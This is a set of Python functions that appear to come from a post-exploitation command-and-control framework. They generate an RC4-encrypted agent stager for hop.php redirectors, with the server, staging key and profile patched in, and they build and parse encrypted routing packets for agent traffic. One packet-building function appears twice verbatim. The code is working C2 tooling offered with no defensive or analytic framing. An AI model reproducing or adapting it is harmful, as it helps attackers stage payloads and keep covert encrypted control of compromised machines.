def generate_stager_hop(self, server, key, profile, encrypt=True, encode=True): """ Generate the Python stager for hop.php redirectors that will perform key negotiation with the server and kick off the agent. """ # read in the stager base f = open(self.installPath + "./data/agent/stager_hop.py") stager = f.read() f.close() stager = helpers.strip_python_comments(stager) # first line of randomized text to change up the ending RC4 string randomHeader = "%s='%s'\n" % (helpers.random_string(), helpers.random_string()) stager = randomHeader + stager # patch the server and key information stager = stager.replace("REPLACE_SERVER", server) stager = stager.replace("REPLACE_STAGING_KEY", key) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", self.stage1) stager = stager.replace("index.php", self.stage2) # # base64 encode the stager and return it # if encode: # return "" if encrypt: # return an encrypted version of the stager ("normal" staging) # return encryption.xor_encrypt(stager, key) return encryption.rc4(key, stager) else: # otherwise return the case-randomized stager return stager
def build_routing_packet(stagingKey, sessionID, language, meta="NONE", additional="NONE", encData=''): """ Takes the specified parameters for an RC4 "routing packet" and builds/returns an HMAC'ed RC4 "routing packet". packet format: Routing Packet: +---------+-------------------+--------------------------+ | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... +---------+-------------------+--------------------------+ | 4 | 16 | RC4 length | +---------+-------------------+--------------------------+ RC4s(RoutingData): +-----------+------+------+-------+--------+ | SessionID | Lang | Meta | Extra | Length | +-----------+------+------+-------+--------+ | 8 | 1 | 1 | 2 | 4 | +-----------+------+------+-------+--------+ """ # binary pack all of the passed config values as unsigned numbers # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long data = sessionID + struct.pack( "=BBHL", LANGUAGE.get(language.upper(), 0), META.get(meta.upper(), 0), ADDITIONAL.get(additional.upper(), 0), len(encData)) # RC4IV = os.urandom(4) RC4IV = Random.new().read(4) stagingKey = str(stagingKey) key = RC4IV + stagingKey rc4EncData = encryption.rc4(key, data) # return an rc4 encyption of the routing packet, append an HMAC of the packet, then the actual encrypted data packet = RC4IV + rc4EncData + encData return packet
def build_routing_packet(stagingKey, sessionID, language, meta="NONE", additional="NONE", encData=''): """ Takes the specified parameters for an RC4 "routing packet" and builds/returns an HMAC'ed RC4 "routing packet". packet format: Routing Packet: +---------+-------------------+--------------------------+ | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... +---------+-------------------+--------------------------+ | 4 | 16 | RC4 length | +---------+-------------------+--------------------------+ RC4s(RoutingData): +-----------+------+------+-------+--------+ | SessionID | Lang | Meta | Extra | Length | +-----------+------+------+-------+--------+ | 8 | 1 | 1 | 2 | 4 | +-----------+------+------+-------+--------+ """ # binary pack all of the passed config values as unsigned numbers # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long data = sessionID + struct.pack("=BBHL", LANGUAGE.get(language.upper(), 0), META.get(meta.upper(), 0), ADDITIONAL.get(additional.upper(), 0), len(encData)) # RC4IV = os.urandom(4) RC4IV = Random.new().read(4) stagingKey = str(stagingKey) key = RC4IV + stagingKey rc4EncData = encryption.rc4(key, data) # return an rc4 encyption of the routing packet, append an HMAC of the packet, then the actual encrypted data packet = RC4IV + rc4EncData + encData return packet
def parse_routing_packet(stagingKey, data): """ Decodes the rc4 "routing packet" and parses raw agent data into: {sessionID : (language, meta, additional, [encData]), ...} Routing packet format: +---------+-------------------+--------------------------+ | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... +---------+-------------------+--------------------------+ | 4 | 16 | RC4 length | +---------+-------------------+--------------------------+ RC4s(RoutingData): +-----------+------+------+-------+--------+ | SessionID | Lang | Meta | Extra | Length | +-----------+------+------+-------+--------+ | 8 | 1 | 1 | 2 | 4 | +-----------+------+------+-------+--------+ """ if data: results = {} offset = 0 # ensure we have at least the 20 bytes for a routing packet if len(data) >= 20: while True: if len(data) - offset < 20: break RC4IV = data[0+offset:4+offset] RC4data = data[4+offset:20+offset] routingPacket = encryption.rc4(RC4IV+stagingKey, RC4data) sessionID = routingPacket[0:8] # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) if length < 0: dispatcher.send('[*] parse_agent_data(): length in decoded rc4 packet is < 0', sender='Packets') encData = None else: encData = data[(20+offset):(20+offset+length)] results[sessionID] = (LANGUAGE_IDS.get(language, 'NONE'), META_IDS.get(meta, 'NONE'), ADDITIONAL_IDS.get(additional, 'NONE'), encData) # check if we're at the end of the packet processing remainingData = data[20+offset+length:] if not remainingData or remainingData == '': break offset += 20 + length return results else: dispatcher.send("[*] parse_agent_data() data length incorrect: %s" % (len(data)), sender='Packets') return None else: dispatcher.send("[*] parse_agent_data() data is None", sender='Packets') return None